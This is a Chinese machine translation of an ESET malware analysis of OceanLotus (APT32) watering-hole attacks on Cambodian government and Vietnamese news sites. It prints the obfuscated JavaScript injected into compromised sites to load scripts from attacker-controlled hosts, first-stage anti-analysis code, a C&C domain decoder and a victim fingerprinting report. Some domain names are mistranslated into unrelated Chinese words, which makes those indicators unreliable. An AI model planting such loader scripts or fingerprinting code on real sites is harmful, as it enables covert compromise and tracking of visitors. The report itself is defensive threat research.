OceanLotus:东南亚的水坑袭击

ESET专家分析了新的水坑运动,该运动针对东南亚的多个地点。 据称,攻击者自2018年9月以来一直在行动。 这场运动的规模各不相同-我们设法发现了21种受到威胁的资源,包括柬埔寨国防部,柬埔寨外交部和国际合作部的网站以及几家越南报纸和博客。


根据分析,我们发现该运动是由OceanLotus组(也称为ART32和ART-S-00)进行的。 该组织至少从2012年开始运作,专门从事网络间谍活动,对政府机构和持不同政见者特别感兴趣。

该活动似乎是OceanLotus水坑计划的演变,Volexity研究人员于2017年以``框架B''的名义记录了该框架。自去年以来,该网络集团已学会使其难以分析其恶意框架。 除其他改进外,我们注意到使用公共密钥加密来交换AES会话密钥。 该方法用于加密不允许安全产品拦截最终有效负载的数据交换。 此外,攻击者从HTTP切换到WebSocket来隐藏恶意数据交换。

ESET专家发现的每个受感染站点都将访问者重定向到由OceanLotus控制的单独域。

下图显示了广告系列的目标区域。


图1.受感染站点的地理位置

受侵害最多的领域是新闻媒体或与柬埔寨政府有关的领域。 以下是受害者名单。 我们警告他们有关在10月进行破坏的行为,但在2018年底,某些网站上仍然存在恶意脚本:

-baotgm [。]网-越南媒体(总部位于德克萨斯州阿灵顿)
-cnrp7 [。] Org-柬埔寨国家救助党网站
-conggiaovietnam [。]净-越南的宗教内容
-daichungvienvinhthanh [。] Com-越南语中的宗教内容
-danchimviet [。]信息-越南媒体
-danviet [。] Vn-越南媒体
-danviethouston [。] Com-越南媒体
-fvpoc [。] Org-越南公共组织
-gardencityclub [。] Com-柬埔寨金边的高尔夫俱乐部
-lienketqnhn [。] Org-越南媒体
-mfaic.gov [。] Kh-柬埔寨外交和国际合作部
-mod.gov [。] Kh-柬埔寨国防部
-mtgvinh [。]净-越南的宗教内容
-nguoitieudung.com [。] Vn-越南媒体
-phnompenhpost [。] Com-柬埔寨英语媒体
-raovatcalitoday [。] Com-越南文网站
-thongtinchongphandong [。] Com-越南反对派媒体
-tinkhongle [。] Com-越南媒体
-toithichdoc.blogspot [。] Com-越南博客
-trieudaiviet [。] Com-越南文网站
-triviet [。]新闻-越南媒体

在水坑攻击中,攻击者通常会破坏潜在受害者经常访问的站点。 但是,在此活动中,OceanLotus小组损害了几个受欢迎的站点。 以下是受感染网站及其Alexa评分的列表:全球以及该网站最受欢迎的国家/地区。 例如,Dan Viet报纸(danviet [。] Vn)的网站在2018年底在越南的出席人数排在第116位。

-丹麦[。] Vn-12 887/116
-金边[。] Com-85910/18 880
-nguoitieudung.com [。] Vn-261 801/2 397
-danchimviet [。]信息-287852/144 884
-baotgm [。]净-675669/119 737
-toithichdoc.blogspot [。] Com-700 470/11532
-mfaic.gov [。]时-978 165/2 149
-conggiaovietnam [。]净-1,040 548/15 368
-thongtinchongphandong [。] Com-1 134 691/21 575
-tinkhongle [。] Com-1301722/15 224
-daichungvienvinhthanh [。] Com-1,778,418 / 23,428
-mod.gov [。]每小时-4,247,649 / 3,719

分析方法


对于所有受感染的站点,都使用了类似的方法。 攻击者在主页或发布在同一服务器上的JavaScript文件中添加了一小段JavaScript代码。 稍微混淆的代码片段(请参见下文)从攻击者控制的服务器加载另一个脚本。 以下是添加到https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js的JavaScript代码段,该代码段可从https://weblink.selfip[.]info/images/cdn.js?from=maxcdn下载文件https://weblink.selfip[.]info/images/cdn.js?from=maxcdn

 (function() { var pt = "http"; var l = document.createElement('script'); l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn'; document.getElementsByTagName('body')[0].appendChild(l) })('web', 'a', 'link', '.self'); 

为了避免被发现,攻击者采取了以下措施:

-它们混淆了脚本,以防止分配静态最终URL
-该网址看起来像该网站使用的真实JavaScript库
-对于每个受感染的站点,使用单独的域和URI。
-所有遭到入侵的网站都有不同的脚本。 以下是在一个受感染站点中正在实施的脚本:

 var script = document.createElement("script"); var i = 'crash-course'; var s = "fzgbc knowsztall znfo"; var _ = '/'; var e = "VisitorIdentification.js?sa=" + i; script.async = true; script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e; var doc = document.getElementsByTagName('script')[0]; doc.parentNode.insertBefore(script, doc); 

第一阶段


根据访问者IP地址的位置,第一阶段的服务器(例如, weblink.selfip[.]info mfaic.gov[.]kh )传输错误的脚本(随机合法的JavaScript库)或第一阶段的脚本(例如,SHA- 1:2194271C7991D60AE82436129D7F25C0A689050A)。 并非所有服务器都会检查位置,如果是,则只有越南和柬埔寨的访客会收到恶意脚本。

如下所示,第一阶段脚本具有多项检查以防止检测。

 […] function t(n) { var r = this; !function (t, n) { if (!(t instanceof n)) throw new TypeError('Cannot call a class as a function'); }(this, t), this.t = { o: null, s: !0 }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () { ri || r.scr && !rts && (r.scr = !1, rc(n)), ri = !1; }); } return t.prototype.r = function () { var t = this; setInterval(function () { var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal'; r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (tts = !1, tto = null) : (tts = !0, tto = e); }, 500); } […] 

该脚本将等待,直到受害者滚动到页面为止。 它还检查窗口分辨率以及是否启用了Firebug(基于浏览器的用于分析网页的插件)。 如果至少一项检查失败,则执行终止。

然后,他使用自定义算法解密C&C命令服务器的域。 例如,3B37371M1B1B382R332V1A382W36392W2T362T1A322T38代表wss://tcog.thruhere[.]net 。 对于第一阶段的每个域,攻击者还注册了第二阶段的域,并且它们都位于不同的服务器上。 下面的代码等效于用Python编写的解密函数。

 def decrypt(encrypted_url): s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2)) 

解密C&C地址后,该脚本将发送一个唯一的15位字符串,然后接收并运行第二阶段脚本。 数据交换通过WebSocket或SSL进行。 该协议在客户端和服务器之间同时提供双向通信。 这意味着在客户端建立连接之后,即使没有请求,服务器也可以将数据发送到客户端。 但是,在特定情况下,该协议主要用于避免检测。

第二阶段


第二阶段脚本用于侦察。 OceanLotus开发人员使用了GitHub上提供的Valve的Fingerprintjs2库,并做了一些微小的更改-添加了网络共享并创建了一个特殊的报告。

下图显示了脚本执行的各种操作。 通过第一步开始的WebSocket会话进行通信。


图2.有效负载第二阶段的方案

使用服务器生成的AES会话密钥对通信进行加密。 它使用1024位RSA公钥加密并发送到客户端,因此无法解密客户端和服务器之间的数据交换。

与以前版本的OceanLotus水坑框架相比,保护自己免受此损害更加困难,因为无法检测和解密通过网络传输的数据。 这样可以防止网络发现数据。 服务器传输的公钥不会更改,并在IoC部分列出。

侦查脚本创建与以下报告类似的报告,并将其发送到第二阶段C&C服务器。

 { "history": { "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-", "client_url": "https://www.mfaic.gov.kh/", "client_cookie": "", "client_hash": "", "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos", "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", "client_time": "2018-10-21T12:43:25.254Z", "timezone": "Asia/Bangkok", "client_network_ip_list": [ "192.168.xx", "xxxx" ], "client_api": "wss://tcog.thruhere.net/", "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7", "client_uuid": "a612cdb028e1571dcab18e4aa316da26" }, "navigator": { "plugins": { "activex": false, "cors": true, "flash": false, "java": false, "foxit": true, "phonegap": false, "quicktime": false, "realplayer": false, "silverlight": false, "touch": false, "vbscript": false, "vlc": false, "webrtc": true, "wmp": false }, "_screen": { "width": 1920, "height": 1080, "availWidth": 1920, "availHeight": 1080, "resolution": "1920x1080" }, "_plugins": [ [...] 

该报告与由Volexity在2017年记录的OceanLotus Framework B生成的其他报告几乎相同。 它们的部分相似且包含相同的错字。 由于目标的相似性和位置,我们可以高度肯定地说是由OceanLotus进行了该活动。

生成的报告包含有关受害者的浏览器和访问过的网站的详细信息:用户代理,HTTP引用请求标头,本地和外部IP地址,插件以及浏览器语言设置设置。

此外,每台机器都有两个唯一的标识符: client_zuuidclient_uuid 。 他们可以用来识别用户并跟踪他们的访问。 这些标识符实际上存在于框架的2017版本中,并且client_uuid以类似的方式计算。

client_zuuid的值是navigator.mediaDevices.enumerateDevices中包含的各种deviceId值的串联。 设备是浏览器可以访问的外部设备,例如相机和麦克风。 因此,在同一台计算机的不同访问期间,一个用户的值必须匹配。

client_uuid值是Fingerprintjs2分配的指纹的MD5哈希值。 收集的数据包括浏览器用户代理,语言,时区,浏览器插件和浏览器可访问的字体。 再说一次-对于所有访问,该值都应该相同,例如,仅当用户未更新浏览器或未从其他设备登录时。

最后,服务器可以将其他JavaScript代码发送到受害者的计算机,也许这是交付的组件。 不幸的是,由于使用AES会话密钥来解密数据交换,我们无法确定入侵者在野外样本中提供了哪个组件。 另外,有效载荷仅传递给某些受害者。 因此,使用测试机,我们无法获得它们。 但是,根据以前的报告,OceanLotus的水坑运动主要针对网络钓鱼。 例如,Volexity在一份报告中写道 ,用户看到一个弹出窗口,要求他们通过开放的OAuth协议授权访问受害人的OceanLotus Google App的Google帐户。 使用此技术,攻击者可以获取受害者的联系人和电子邮件。

网络基础设施


为了最大程度地进行隐蔽工作,OceanLotus运营商为每个受感染站点的第一阶段和第二阶段注册了一个域。 每个域都托管在具有自己IP地址的单独服务器上。 此活动至少注册了50个域和50台服务器。

大部分第一阶段域名都是在具有免费域名的服务上注册的,第二阶段域名主要是付费的。 除其他外,他们的名字被伪装成合法的。 以下是攻击者试图复制的服务列表,分别为C&C和合法域:

-cdn-ampproject [。] Com / cdn.ampproject.com
-bootstraplink [。] Com / getbootstrap.com
-sskimresources [。] Com / s.skimresources.com
-widgets-wp [。] Com / widgets.wp.com

使用域的数量及其与合法站点的相似性可能会使查看网络流量的人员使检测变得复杂。

结论


尽管安全研究人员给予了关注,但OceanLotus仍继续成功地攻击东南亚的目标。 此外,该小组还通过在其军械库中包括用于水坑攻击的框架(一种适用于Windows和macOS的恶意软件)来改进工具。 本报告中讨论的最新框架更新表明,攻击者的技能得到了提高。

为了限制可能的受害者数量,我们通知了受感染网站的所有者,并说明了如何删除恶意JavaScript代码。 但是,其中一些人并不愿意接受信息和援助。

ESET研究人员将继续监视OceanLotus集团的发展。 妥协指标可以在GitHub找到

Source: https://habr.com/ru/post/zh-CN436136/


All Articles